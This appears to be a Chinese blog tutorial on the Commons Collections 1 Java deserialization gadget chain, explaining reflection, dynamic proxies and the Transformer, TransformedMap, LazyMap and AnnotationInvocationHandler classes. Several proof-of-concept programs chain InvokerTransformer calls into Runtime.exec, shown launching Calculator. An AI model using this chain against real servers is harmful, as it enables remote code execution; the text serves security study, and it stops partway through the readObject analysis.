CommonCollection1反序列化链学习
Python微信訂餐小程序課程視頻
https://edu.csdn.net/course/detail/36074
Python實(shí)戰(zhàn)量化交易理財(cái)系統(tǒng)
https://edu.csdn.net/course/detail/35475
CommonsCollection1
1、前置知識
1.1、反射基礎(chǔ)知識
1.1.1、 對象與類的基礎(chǔ)知識
類(class),對象(object) 對象是類的實(shí)例化,中華田園犬(object)是狗(class)的實(shí)例化 類是對象的抽象化,狗(class)是中華田園犬(object)抽象化1.1.2、反射獲取對象過程
1、我們可以通過以下三種方法獲取Class對象類型
Class classType = String.class; Class classType = new String().getClass();/*new String()是一個(gè)對象*/ Class classType = Class.forName("java.lang.String");2、在Class類中包含著很多方法函數(shù),其中在本章節(jié)使用最頻繁的就是
getName():獲得類的完整名字。 getFields():獲得類的public類型的屬性。getDeclaredFields():獲得類的所有屬性。getMethods():獲得類的public類型的方法。getDeclaredMethods():獲得類的所有方法。getMethod(String name, Class[] parameterTypes):獲得類的特定方法,name參數(shù)指定方法的名字,parameterTypes參數(shù)指定方法的參數(shù)類型。getConstrutors():獲得類的public類型的構(gòu)造方法。getConstrutor(Class[] parameterTypes):獲得類的特定構(gòu)造方法,parameterTypes參數(shù)指定構(gòu)造方法的參數(shù)類型。newInstance():通過類的不帶參數(shù)的構(gòu)造方法創(chuàng)建這個(gè)類的一個(gè)對象。2、通過默認(rèn)構(gòu)造方法創(chuàng)建一個(gè)新的對象,即先調(diào)用Class類的getConstructor()方法獲得一個(gè)Constructor對象,它代表默認(rèn)的構(gòu)造方法,然后調(diào)用Constructor對象的newInstance()方法構(gòu)造一個(gè)實(shí)例。(此處new Class[]{}、new Object[]{}表示空參數(shù),既調(diào)用默認(rèn)的無參數(shù)的構(gòu)造方法)
Object objectCopy=classType.getConstructor(new Class[]{}).newInstance(new Object[]{});3、獲得對象的所有屬性,即通過Class類的getDeclaredFields()方法返回類的所有屬性,包括public、protected、default和private訪問級別的屬性
Field fields[]=classType.getDeclaredFields();4、獲得每個(gè)屬性相應(yīng)的get/set方法,然后執(zhí)行這些方法,把原來的對象屬性拷貝到新的對象中。
這里我們可以寫一個(gè)InvokeTester的類,然后運(yùn)用反射機(jī)制調(diào)用一個(gè)InvokeTester對象的add()方法(自定義方法),如add()方法的兩個(gè)參數(shù)為int類型,那么獲取表示add()方法的Method對象代碼如下:
Method addMethod=classType.getMethod("add",new Class[]{int.class,int.class});5、反射調(diào)用addMethod方法
//獲得和屬性對應(yīng)的getXXX()方法 Method getMethod=classType.getMethod(getMethodName,new Class[]{}); //獲得和屬性對應(yīng)的setXXX()方法 Method setMethod=classType.getMethod(setMethodName,new Class[]{field.getType()}); //具體實(shí)施(第四點(diǎn)描述) Method addMethod=classType.getMethod("add",new Class[]{int.class,int.class});//調(diào)用原對象的getXXX()方法 Object value=getMethod.invoke(object,new Object[]{}); System.out.println(fieldName+":"+value); //調(diào)用拷貝對象的setXXX()方法 setMethod.invoke(objectCopy,new Object[]{value}); addMethod.invoke()6、具體一個(gè)小例子
首先有個(gè)Users類,他有屬性名字(name)、年齡(age)和會算加法()
public class Users {String name;int age;public String getName() {return name;}public void setName(String name) {this.name = name;}public int getAge() {return age;}public void setAge(int age) {this.age = age;}public int add(int num1, int num2){int addnum= num1+num2;return addnum;}}那么我們反射獲取他的某一個(gè)user對象的名字、年齡和加法
第一反射獲取多參數(shù)的方法add
import java.lang.reflect.Method;public class Test {public static void main(String[] args) throws Exception {//反射獲取類對象類型,這里獲取的是Users類對象類型Class users = Class.forName("Users");//類對象類型實(shí)例化,,即先調(diào)用Class類的getConstructor()方法獲得一個(gè)Constructor對象,它代表默認(rèn)的構(gòu)造方法,然后調(diào)用Constructor對象的newInstance()方法構(gòu)造一個(gè)實(shí)例。(此處new Class[]{}、new Object[]{}表示空參數(shù),既調(diào)用默認(rèn)的無參數(shù)的構(gòu)造方法)Object user = users.getConstructor(new Class[]{}).newInstance(new Object[]{});//反射獲取指定的類對象類型的add方法,add方法需要兩個(gè)參數(shù),參數(shù)類型為int型,getMethod類型的第二個(gè)參數(shù)必須是Class對象類型Method add = users.getMethod("add", new Class[]{int.class, int.class});//add方法反射調(diào)用(invoke)user對象,并且傳入add方法的倆個(gè)參數(shù)值,invoke方法的參數(shù)必須是object對象Object num = add.invoke(user, new Object[]{1, 2});System.out.println((Integer) num);} }反射調(diào)用單參數(shù)的方法setName和無參數(shù)方法getName
import java.lang.reflect.Method;public class Test {public static void main(String[] args) throws Exception { /*//反射獲取類對象類型,這里獲取的是Users類對象類型Class users = Class.forName("Users");//類對象類型實(shí)例化,,即先調(diào)用Class類的getConstructor()方法獲得一個(gè)Constructor對象,它代表默認(rèn)的構(gòu)造方法,然后調(diào)用Constructor對象的newInstance()方法構(gòu)造一個(gè)實(shí)例。(此處new Class[]{}、new Object[]{}表示空參數(shù),既調(diào)用默認(rèn)的無參數(shù)的構(gòu)造方法)Object user = users.getConstructor(new Class[]{}).newInstance(new Object[]{});//反射獲取指定的類對象類型的add方法,add方法需要兩個(gè)參數(shù),參數(shù)類型為int型,getMethod類型的第二個(gè)參數(shù)必須是Class對象類型Method add = users.getMethod("add", new Class[]{int.class, int.class});//add方法反射調(diào)用(invoke)user對象,并且傳入add方法的倆個(gè)參數(shù)值,invoke方法的參數(shù)必須是object對象Object num = add.invoke(user, new Object[]{1, 2});System.out.println((Integer) num);*/Class users = Class.forName("Users");Object zhangsan = users.getConstructor(new Class[]{}).newInstance(new Object[]{});//反射獲取Users類的setName()方法 ,需要傳入setName的所需的參數(shù)類型,此處為String.class類型Method setName = users.getMethod("setName", new Class[]{String.class});//反射設(shè)置zhangsan對象實(shí)例的名字為張三setName.invoke(zhangsan,new Object[]{"張三"});//反射獲取Users類的getName()方法,需要傳入getName的參數(shù)類型,此處為空Method getName = users.getMethod("getName", new Class[]{});//反射獲取zhangsan對象實(shí)例的名字Object Name = getName.invoke(zhangsan);System.out.println((String) Name);} }1.1.3、反射的基本用法
反射又有很多瑣碎的點(diǎn),這里只講它的基本用法如果當(dāng)前擁有一個(gè)對象的話,那么可以動態(tài)的調(diào)用該對象的所有方法
// Step1 獲取Class對象 Class cls = obj.getClass(); // Step2 獲取想要的方法對象 Method mth = cls.getMethod("MethodName",new Class[]{arg1_type,arg2_type}); // Step3 調(diào)用方法 mth.invoke(obj,new Object[]{arg1,arg2})這里注意的是getMethod的第二個(gè)參數(shù)為Class數(shù)組,Class的概念我們之前也提到過。
1.2、動態(tài)代理知識
動態(tài)代理需要理解反射包的三個(gè)類
反射包 java.lang.reflect 的三個(gè)類:InvocationHandler,Method,Proxy
InvocationHandler
這個(gè)類其實(shí)就一個(gè)方法就是invoke方法,該方法用代理商在不改變代理對象的情況,需要添加的功能
參數(shù):
Object proxy:jdk的代理類,無需賦值
Method method:代理對象的方法,jdk提供的Method的對象
Object[] args:代理對象的方法執(zhí)行的參數(shù)
package java.lang.reflect;public interface InvocationHandler {public Object invoke(Object proxy, Method method, Object[] args)throws Throwable; }Method
Method方法主要在InvocationHandler的invoke方法中實(shí)現(xiàn),表示執(zhí)行代理對象的方法
Method.invoke(目標(biāo)的對象,方法的參數(shù))
Proxy
newProxyInstance的方法的三個(gè)參數(shù)為
ClassLoader loader:類加載器,負(fù)責(zé)向內(nèi)存中加載對象的。使用反射獲取的
Class [] interfaces :目標(biāo)對象實(shí)現(xiàn)的接口,也是反射獲取的
InvocationHandler h:我們自己寫的,代理需要完成的功能
舉個(gè)具體里的例子(Usb)
首先實(shí)現(xiàn)一個(gè)統(tǒng)一的買usb的接口,里面有一個(gè)賣usb的方法
public interface Usbsell {float sell(int acount); }金士頓廠家要賣usb,所以繼承這個(gè)接口,他買85元
package com.akkacloud.factory;import com.akkacloud.service.Usbsell;public class UsbKingFactor implements Usbsell {@Overridepublic float sell(int acount) {return 85.0f;} }我們是一個(gè)商店,去買我們要賺差價(jià)
第一種寫法,直接在主函數(shù)中創(chuàng)建我們的InvocationHandler接口
package com.akkacloud;import com.akkacloud.factory.UsbKingFactor; import com.akkacloud.handler.MysellHandler; import com.akkacloud.service.Usbsell;import java.lang.reflect.InvocationHandler; import java.lang.reflect.Method; import java.lang.reflect.Proxy;public class MainShop {public static void main(String[] args) {//創(chuàng)建代理對象,使用proxy//創(chuàng)建目標(biāo)類對象,就是廠家UsbKingFactor usbKingFactor = new UsbKingFactor();//創(chuàng)建代理對象Usbsell proxy = (Usbsell) Proxy.newProxyInstance(usbKingFactor.getClass().getClassLoader(),usbKingFactor.getClass().getInterfaces(), new InvocationHandler() {@Overridepublic Object invoke(Object proxy, Method method, Object[] args) throws Throwable {Object res = method.invoke(usbKingFactor, args);res= (float)res+35;return res;}});//通過代理對象執(zhí)行sellfloat price = proxy.sell(1);System.out.println("通過代理的價(jià)格:"+price);} }第二種我們先實(shí)現(xiàn)InvocationHandler接口,再寫主函數(shù)
首先我們要實(shí)現(xiàn)我們的InvocationHandler接口,我們實(shí)施加價(jià)25塊
package com.akkacloud.handler;import java.io.File; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Method;public class MysellHandler implements InvocationHandler{private Object target;public MysellHandler(Object target) {this.target = target;}@Overridepublic Object invoke(Object proxy, Method method, Object[] args) throws Throwable {//想廠家訂購1個(gè)商品 // float price = factory.sell(1);Object res = method.invoke(target, args);//中間商賺差價(jià)//price = price+25;if(res!=null){float price = (float) res;price=price+25;res =price;}return res;} }然后實(shí)現(xiàn)我們的商店代碼
package com.akkacloud;import com.akkacloud.factory.UsbKingFactor; import com.akkacloud.handler.MysellHandler; import com.akkacloud.service.Usbsell;import java.lang.reflect.Proxy;public class MainShop {public static void main(String[] args) {//創(chuàng)建代理對象,使用proxy//創(chuàng)建目標(biāo)類對象,就是廠家UsbKingFactor usbKingFactor = new UsbKingFactor();//創(chuàng)建invocationHandler對象,傳入代理商的廠家為usbkingMysellHandler mysellHandler = new MysellHandler(usbKingFactor);//創(chuàng)建代理對象Usbsell proxy = (Usbsell) Proxy.newProxyInstance(usbKingFactor.getClass().getClassLoader(),usbKingFactor.getClass().getInterfaces(),mysellHandler);//通過代理對象執(zhí)行sellfloat price = proxy.sell(1);System.out.println("通過代理的價(jià)格:"+price);} }執(zhí)行結(jié)果
1.3、調(diào)試所需類相關(guān)的知識和作用
Transformer
transformer的是Commons Collections包中提供的一個(gè)接口
package org.apache.commons.collections;public interface Transformer {Object transform(Object var1); }ConstantTransformer
ConstantTransformer是Transformer的實(shí)現(xiàn)類
構(gòu)造方法中實(shí)現(xiàn)對iConstant賦值,transform方法用于獲取iConstant的值
public class ConstantTransformer implements Transformer, Serializable {static final long serialVersionUID = 6374440726369055124L;public static final Transformer NULL\_INSTANCE = new ConstantTransformer((Object)null);private final Object iConstant;public static Transformer getInstance(Object constantToReturn) {return (Transformer)(constantToReturn == null ? NULL_INSTANCE : new ConstantTransformer(constantToReturn));}public ConstantTransformer(Object constantToReturn) {this.iConstant = constantToReturn;}public Object transform(Object input) {return this.iConstant;}public Object getConstant() {return this.iConstant;} }InvokerTransformer
InvokerTransformer也是Transform的實(shí)現(xiàn)類
構(gòu)造方法里傳入Strin iMethodName(字符串類型的函數(shù)名)、Class[] iParamTypes(函數(shù)的參數(shù)類型))、Object[] iArgs(函數(shù)的參數(shù)列表)
transform方法是用Java反射機(jī)制來進(jìn)行執(zhí)行任意代碼
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {this.iMethodName = methodName;this.iParamTypes = paramTypes;this.iArgs = args; }public Object transform(Object input) {if (input == null) {return null;} else {try {Class cls = input.getClass();Method method = cls.getMethod(this.iMethodName, this.iParamTypes);return method.invoke(input, this.iArgs);} catch (NoSuchMethodException var5) {throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");} catch (IllegalAccessException var6) {throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");} catch (InvocationTargetException var7) {throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);}} }ChainedTransformer
ChainedTransformer也是Transformer的實(shí)現(xiàn)類
構(gòu)造方法是把數(shù)組類型的Transformer[] 賦值給iTransformers
transform方法是通過傳入Trasnformer[]數(shù)組既iTransformers,對傳入的數(shù)組進(jìn)行遍歷并且調(diào)用數(shù)組對象的transform方法。
Map
Transform來執(zhí)行命令需要綁定到Map上,抽象類AbstractMapDecorator是Apache Commons Collections提供的一個(gè)類,實(shí)現(xiàn)類有很多,比如LazyMap、TransformedMap等,這些類都有一個(gè)decorate()方法,用于將上述的Transformer實(shí)現(xiàn)類綁定到Map上,當(dāng)對Map進(jìn)行一些操作時(shí),會自動觸發(fā)Transformer實(shí)現(xiàn)類的tranform()方法,不同的Map類型有不同的觸發(fā)規(guī)則
TransformedMap
Transformer的實(shí)現(xiàn)類分別綁定到map的key和value上,當(dāng)map的key或value被修改時(shí),會調(diào)用對應(yīng)Transformer實(shí)現(xiàn)類的transform()方法。
通過decorate方法去調(diào)用構(gòu)造方法,把map、keyTransformer、valueTransformer傳入,當(dāng)調(diào)用put的方法修改key或者value時(shí),就會調(diào)用transform()
我們可以把chainedtransformer綁定到一個(gè)TransformedMap上,當(dāng)此map的key或value發(fā)生改變時(shí),就會自動觸發(fā)chainedtransformer的transform()方法
//構(gòu)造方法 public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {return new TransformedMap(map, keyTransformer, valueTransformer); } protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {super(map);this.keyTransformer = keyTransformer;this.valueTransformer = valueTransformer; } ...... //改變key時(shí)、調(diào)用transform protected Object transformKey(Object object) {return this.keyTransformer == null ? object : this.keyTransformer.transform(object); } ...... //改變value是,調(diào)用transform protected Object transformValue(Object object) {return this.valueTransformer == null ? object : this.valueTransformer.transform(object); } .....//put方法用來修改 public Object put(Object key, Object value) {key = this.transformKey(key);value = this.transformValue(value);return this.getMap().put(key, value); }LazyMap
lazyMap也是Map的實(shí)現(xiàn)類
//構(gòu)造方法 public static Map decorate(Map map, Transformer factory) {return new LazyMap(map, factory); }//對傳入的map和Transformer實(shí)例化 protected LazyMap(Map map, Factory factory) {super(map);if (factory == null) {throw new IllegalArgumentException("Factory must not be null");} else {this.factory = FactoryTransformer.getInstance(factory);} } //調(diào)用get時(shí),當(dāng)key不存在時(shí),調(diào)用Transformer實(shí)現(xiàn)類的transform()方法 public Object get(Object key) {if (!super.map.containsKey(key)) {Object value = this.factory.transform(key);super.map.put(key, value);return value;} else {return super.map.get(key);} }當(dāng)調(diào)用tmpmap.get(key)的key不存在時(shí),會調(diào)用TestTransformer的transform()方法
這些不同的Map類型之間的差異也正是CommonsColletions有那么多gadget的原因之一
Map tmpmap = LazyMap.decorate(normalMap, TestTransformer);2、漏洞復(fù)現(xiàn)
由于前面分析了CC1的利用鏈,但是發(fā)現(xiàn)在CC1的利用鏈中是有版本的限制的。在JDK1.8 8u71版本以后,對AnnotationInvocationHandler的readobject進(jìn)行了改寫。導(dǎo)致高版本中利用鏈無法使用
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import org.apache.commons.collections.map.TransformedMap;import java.util.HashMap; import java.util.Map;public class CommonCollection1 {public static void main(String[] args) {//此處構(gòu)建了一個(gè)transformers的數(shù)組,在其中構(gòu)建了任意函數(shù)執(zhí)行的核心代碼Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"open /System/Applications/Calculator.app"})};//將transformers數(shù)組存入ChaniedTransformer這個(gè)繼承類Transformer transformerChain = new ChainedTransformer(transformers);//創(chuàng)建Map并綁定transformerChinaMap innerMap = new HashMap();innerMap.put("value", "value");//給予map數(shù)據(jù)轉(zhuǎn)化鏈Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);//觸發(fā)漏洞Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();//outerMap后一串東西,其實(shí)就是獲取這個(gè)map的第一個(gè)鍵值對(value,value);然后轉(zhuǎn)化成Map.Entry形式,這是map的鍵值對數(shù)據(jù)格式onlyElement.setValue("foobar");} }3、漏洞分析
transformers
先分析第一段
Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"open /System/Applications/Calculator.app"}) };//將transformers數(shù)組存入ChaniedTransformer這個(gè)繼承類 Transformer transformerChain = new ChainedTransformer(transformers);首先new一個(gè)Transformer數(shù)組
Transformer[] transformers = new Transformer[] {}然后通過ChainedTransformer類的transform()方法,循環(huán)獲取反射獲取指定的命令執(zhí)行函數(shù)函數(shù)
public ChainedTransformer(Transformer[] transformers) {this.iTransformers = transformers; }public Object transform(Object object) {for(int i = 0; i < this.iTransformers.length; ++i) {object = this.iTransformers[i].transform(object);}return object; }首先看第一個(gè)類ConstantTransformer運(yùn)行transform()方法后,返回的是Runtime.Class
我們通過查看ConstantTransformer方法可知,Runtime.Class傳入后通過構(gòu)造方法賦值給iConstant,然后return這個(gè)iConstant賦值給object
public ConstantTransformer(Object constantToReturn) {this.iConstant = constantToReturn; }public Object transform(Object input) {return this.iConstant; }我們看第二類InvokerTransformer,其實(shí)這個(gè)類翻譯過來就是反射轉(zhuǎn)換,把Runtime.Class作為參數(shù)值傳給InvokerTransformer的transform方法,就是下面的式子
object=InvokerTransformer.transform(Runtime.Class)然后我們進(jìn)入到InvokerTransformer.transform()方法查看,確實(shí)傳入的是Runtime().Class,
首先我們來繼續(xù)看InvokerTransformer的構(gòu)造方法,第一個(gè)參數(shù)的意思是函數(shù)名,第二個(gè)參數(shù)的意思是參數(shù)類型,第三個(gè)是參數(shù),
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {this.iMethodName = methodName;this.iParamTypes = paramTypes;this.iArgs = args; }再看InvokerTransformer的transform方法,其實(shí)就是反射調(diào)用構(gòu)造方法中賦值的函數(shù)
public Object transform(Object input) {if (input == null) {return null;} else {try {Class cls = input.getClass();Method method = cls.getMethod(this.iMethodName, this.iParamTypes);return method.invoke(input, this.iArgs);} catch (NoSuchMethodException var5) {throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");} catch (IllegalAccessException var6) {throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");} catch (InvocationTargetException var7) {throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);}}}我們回到我們剛才調(diào)試的點(diǎn),這三個(gè)參數(shù)分別是如下,函數(shù)名是getMethod,
getMethod.invoke(Runtime.Class,String.Class,getRunTime),反射調(diào)用后就是Runtime.getRuntime(),繼續(xù)傳入object
第三次傳入的是object是Runtime.getRuntime(),函數(shù)名是invoke,參數(shù)值是null,invoke.invoke(Runtime.getRuntime(),Object.Class,null),由于Runtime是單例模式,需要執(zhí)行他的getRuntime方法來獲取Runtime類的實(shí)例化對象,所以這里用Invoke反射執(zhí)行了getRuntime所以就獲得了Runtime的實(shí)例對象
第四次傳入的object是Runtime的實(shí)例化對象,函數(shù)名是exec(),參數(shù)是"open /System/Application/Calculator.app",就是執(zhí)行了Runtime.getRuntime().exec().
通過ConstantTransformer得到Runtime.class,然后再InvokerTransformer反射得到getRuntime方法,然后通過反射執(zhí)行invoke才能去調(diào)用getRuntime方法,這樣得到一個(gè)Runtime對象,然后再去調(diào)用Runtime對象的exec方法去達(dá)到命令執(zhí)行。
Runtime.getRuntime().invoke(null).exec("open /System/Application/Calculator.app");上面那么多其實(shí)最簡單的方法是自己先寫一遍反射執(zhí)行Runtime的Rce,如:
Class runtimeClass = Runtime.class; Method getRuntime = runtimeClass.getMethod("getRuntime", null);//getMethod獲取getRuntime方法,參數(shù)為空 Runtime runtime = (Runtime) getRuntime.invoke(null, null);//反射執(zhí)行g(shù)etRuntime方法獲取Runtime實(shí)例,invoke方法需要兩個(gè)參數(shù),執(zhí)行的對象和執(zhí)行的的參數(shù),因?yàn)間etRuntime為static方法,反射調(diào)用時(shí)執(zhí)行的對象直接傳null就行。Method exec = runtimeClass.getMethod("exec", String.class);//反射獲取Runtime的exec方法 exec.invoke(runtime, "open /System/Applications/Calculator.app");//反射執(zhí)行然后我們再通過ConstantTransformer和InvokerTransformer的transform方法的規(guī)則實(shí)現(xiàn)一下就很好理解了
Object runtime= new ConstantTransformer(Runtime.class).transform(null); Object getMethod = new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}).transform(runtime); Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getMethod); new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app"}).transform(r);可以看出都是調(diào)用transform方法,且輸入的參數(shù)為上一個(gè)參數(shù)的結(jié)果
加入ConstantTransformer去循環(huán)調(diào)用transform
Transformer[] transformers = { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app"}) };ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); chainedTransformer.transform(null);第一段ChainedTransformer就是為了執(zhí)行這段命令,但是我們想在需要去ChainedTransformer.transform方法
TransformedMap類
前置知識我們說過,通過調(diào)用TransformedMap.decorate(),再調(diào)用TransformedMap的構(gòu)造方法賦值參數(shù),參數(shù)分別是Map、更換的key值、更換的value值,我們通過put方法調(diào)用transformKey、transformValue方法來更換Map的key和value,而這時(shí)候最重要的是transformValue、transformKey方法調(diào)用了transform方法,也就是說我們把ChainedTransformer傳給decorate方法的valueTransformer,當(dāng)調(diào)用put方法時(shí)就可以調(diào)用ChainedTransformer的transform方法了。
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {return new TransformedMap(map, keyTransformer, valueTransformer); }protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {super(map);this.keyTransformer = keyTransformer;this.valueTransformer = valueTransformer; } protected Object transformKey(Object object) {return this.keyTransformer == null ? object : this.keyTransformer.transform(object); }protected Object transformValue(Object object) {return this.valueTransformer == null ? object : this.valueTransformer.transform(object); } public Object put(Object key, Object value) {key = this.transformKey(key);value = this.transformValue(value);return this.getMap().put(key, value); }漏洞利用
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import org.apache.commons.collections.map.TransformedMap;import java.util.HashMap; import java.util.Map;public class CommonCollection1 {public static void main(String[] args) {//此處構(gòu)建了一個(gè)transformers的數(shù)組,在其中構(gòu)建了任意函數(shù)執(zhí)行的核心代碼Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"open /System/Applications/Calculator.app"})};//將transformers數(shù)組存入ChaniedTransformer這個(gè)繼承類Transformer transformerChain = new ChainedTransformer(transformers);//創(chuàng)建Map并綁定transformerChinaMap innerMap = new HashMap();innerMap.put("value", "value");//給予map數(shù)據(jù)轉(zhuǎn)化鏈Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);outerMap.put("1","1");// //觸發(fā)漏洞 // Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next(); // //outerMap后一串東西,其實(shí)就是獲取這個(gè)map的第一個(gè)鍵值對(value,value);然后轉(zhuǎn)化成Map.Entry形式,這是map的鍵值對數(shù)據(jù)格式 // onlyElement.setValue("foobar");} }在這里我們是使用了代碼直接的讓他去彈出一個(gè)計(jì)算器,但是在實(shí)際運(yùn)用中,需要將該代碼轉(zhuǎn)換為序列化流。在實(shí)際運(yùn)用中需要我們需要找到?個(gè)類,它在反序列化的readObject讀取我們序列化的流文件。在分析該鏈的時(shí)候也比較亂,下篇文章重新來完整的調(diào)試一下。
LazyMap
在分析前先來看看LazyMap這個(gè)類,這個(gè)類和TransformedMap類似。都是AbstractMapDecorator繼承抽象類是Apache Commons Collections提供的一個(gè)類。在兩個(gè)類不同點(diǎn)在于TransformedMap是在put方法去觸發(fā)transform方法,而LazyMap是在get方法去調(diào)用方法
public class LazyMap extends AbstractMapDecorator implements Map, Serializable {private static final long serialVersionUID = 7990956402564206740L;protected final Transformer factory;public static Map decorate(Map map, Transformer factory) {return new LazyMap(map, factory);}protected LazyMap(Map map, Transformer factory) {super(map);if (factory == null) {throw new IllegalArgumentException("Factory must not be null");} else {this.factory = factory;}}public Object get(Object key) {if (!super.map.containsKey(key)) {Object value = this.factory.transform(key);super.map.put(key, value);return value;} else {return super.map.get(key);}} }當(dāng)調(diào)用get(key)的key不存在時(shí),會調(diào)用transformerChain的transform()方法。
修改一下poc,使用LazyMap的get方法來觸發(fā)命令執(zhí)行試試
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import org.apache.commons.collections.map.TransformedMap;import java.util.HashMap; import java.util.Map;public class CommonCollection1 {public static void main(String[] args) {//此處構(gòu)建了一個(gè)transformers的數(shù)組,在其中構(gòu)建了任意函數(shù)執(zhí)行的核心代碼Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"open /System/Applications/Calculator.app"})};//將transformers數(shù)組存入ChaniedTransformer這個(gè)繼承類Transformer transformerChain = new ChainedTransformer(transformers);//創(chuàng)建Map并綁定transformerChinaMap innerMap = new HashMap();innerMap.put("value", "value");//給予map數(shù)據(jù)轉(zhuǎn)化鏈Map tmpmap = LazyMap.decorate(innerMap, transformerChain);tmpmap.get("1");} }AnnotationInvocationHandler
AnnotationInvocationHandler該類是用來處理注解的。
查看AnnotationInvocationHandler類的構(gòu)造函數(shù)有兩個(gè)參數(shù),第?個(gè)參數(shù)是?個(gè)Annotation類類型參數(shù),第二個(gè)是map類型參數(shù)
Annotation類類型參數(shù)傳給var1,map類型傳給類var1==》TransformedMap.decorate(innerMap,transformerChain)
AnnotationInvocationHandler(Class <span class="hljs-keyword"extends Annotation> var1, Map var2) {Class[] var3 = var1.getInterfaces();if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {this.type = var1;this.memberValues = var2;} else {throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");} }利用鏈主要用到了AnnotationInvocationHandler的invoke方法和readObject方法
invoke方法主要為三個(gè)參數(shù)(對象類型,方法類型,對象數(shù)組)
public Object invoke(Object var1, Method var2, Object[] var3) {String var4 = var2.getName();Class[] var5 = var2.getParameterTypes();if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {return this.equalsImpl(var3[0]);} else if (var5.length != 0) {throw new AssertionError("Too many parameters for an annotation method");} else {byte var7 = -1;switch(var4.hashCode()) {case -1776922004:if (var4.equals("toString")) {var7 = 0;}break;case 147696667:if (var4.equals("hashCode")) {var7 = 1;}break;case 1444986633:if (var4.equals("annotationType")) {var7 = 2;}}switch(var7) {case 0:return this.toStringImpl();case 1:return this.hashCodeImpl();case 2:return this.type;default:Object var6 = this.memberValues.get(var4);if (var6 == null) {throw new IncompleteAnnotationException(this.type, var4);} else if (var6 instanceof ExceptionProxy) {throw ((ExceptionProxy)var6).generateException();} else {if (var6.getClass().isArray() && Array.getLength(var6) != 0) {var6 = this.cloneArray(var6);}return var6;}}} }重要式子
memberValues就是構(gòu)造函數(shù)賦值的,存儲這我們的惡意的map
Object var6 = this.memberValues.get(var4)就是AnnotationInvocationHandler調(diào)用invoke方法,調(diào)用Lazymap的get方法,調(diào)用transform方法
readObject方法
我們看到第四行
Map var4 = (Map)var2.get("memberValues", (Object)null)memberValues.的值賦值給var4
var4調(diào)用了entrySet().iterator()方法
